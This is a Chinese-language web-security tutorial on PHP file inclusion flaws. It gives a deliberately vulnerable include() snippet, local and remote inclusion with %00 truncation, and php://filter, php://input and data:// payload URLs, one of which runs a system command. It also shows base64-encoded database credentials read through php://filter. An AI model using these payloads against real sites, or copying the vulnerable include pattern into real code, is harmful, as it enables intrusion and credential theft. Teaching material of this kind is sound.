企业🤖AI智能体构建引擎,智能编排和调试,一键部署,支持私有化部署方案 广告
常见文件包含函数 include(),require(),include\_once(),require\_once()函数 **本地包含** ``` 访问 http://localhost/test/ddd.php?file=1.txt //ddd.php if (isset($_GET['file'])) { $file=$_GET['file']; include $file; } //1.txt <?php phpinfo(); ?> ``` 或者 ``` //如果是 include $file.".php";需要%00截断 访问 http://localhost/test/ddd.php?file=1.txt%00 //ddd.php if (isset($_GET['file'])) { $file=$_GET['file']; include $file.".php"; } //1.txt <?php phpinfo(); ?> ``` **远程包含:** 需要开启的扩展:allow_url_fopen 和 allow_url_include 为 On 且版本>=5.2.0 [allow_url_fopen='1'](https://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen):该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。 [allow_url_include='0'](https://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include):该选项为on便是允许 包含URL 对象文件等 ' 5.2新增7.4移除 ``` //后面加个问号 访问 http://localhost/test/ddd.php?file=www.elseweb.com/1.txt? ``` ## **伪协议:** **1. php://filter/read=convert.base64-encode/resource=** 在 allow_url_include = On 且 PHP >= 5.2.0 假设如下一个场景 (1) http://vulnerable/fileincl/example1.php?page=intro.php(该php文件包含LFI漏洞) (2) 但是你没有地方可以upload你的webshell代码 (3) LFI只能读取到非php文件的源码(因为无法解析执行 只能被爆菊花) (4) 如果你能读取到config.php之类文件 或许可以直接拿到数据库账号远程入侵进去 【现在的问题是】 LFI如何读取到php文件的源码? 于是给大家做个演示 如果我正常用LFI去读**/sqli/db.php**文件 是无法读取它的源码 它会被当做php文件被执行 ``` http://vulnerable/fileincl/example1.php?page=../sqli/db.php ``` ![](https://img.kancloud.cn/ab/fa/abfaa69f0aa4cb6f80f3371f858544f8_636x181.png) 但是如果我用base64转义 就能把指定php文件的源码以**base64**方式编码并被显示出来 ``` http://vulnerable/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=../sqli/db.php ``` ![](https://img.kancloud.cn/4a/9d/4a9dba4cef3ab39f51b1bf56e91c1ba3_930x197.png) **/sqli/db.php**源码**base64**编码后的内容显示如下 PD9waHAgCiAgJGxuayA9IG15c3FsX2Nvbm5lY3QoImxvY2FsaG9zdCIsICJwZW50ZXN0ZXJsYWIiLCAicGVudGVzdGVybGFiIik7CiAgJGRiID0gbXlzcWxfc2VsZWN0X2RiKCdleGVyY2lzZXMnLCAkbG5rKTsKPz4K 然后我们再去进行**base64**解码 解码后**/sqli/db.php**文件的源码一览无遗 ![](https://img.kancloud.cn/b0/c5/b0c58727665447a33fe7b7e6fb1f1a48_578x374.png) **2. php://input** 我们需要用到一个HackBar的插件,新版的要收费,我们可以选择[旧版本](https://pan.baidu.com/s/1gz4IyxjuITk_OkWwnDw30Q)的链接: 安装好以后F12 调试台选择操作 ![](https://img.kancloud.cn/b9/47/b947706e5d89213f557391e3c0413ff5_546x191.png) 点击Execute运行 **再换几种姿势继续  **data:** 的方式** ``` http://vulnerable/fileincl/example1.php?page=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo= http://vulnerable/fileincl/example1.php?page=data:;base64,PD9waHBpbmZvKCk7Lyo= http://vulnerable/fileincl/example1.php?page=data:text/plain,<?php system("uname -a");?> ``` 关于xml漏洞参看[XXE漏洞](https://www.cnblogs.com/zhaijiahui/p/9147595.html)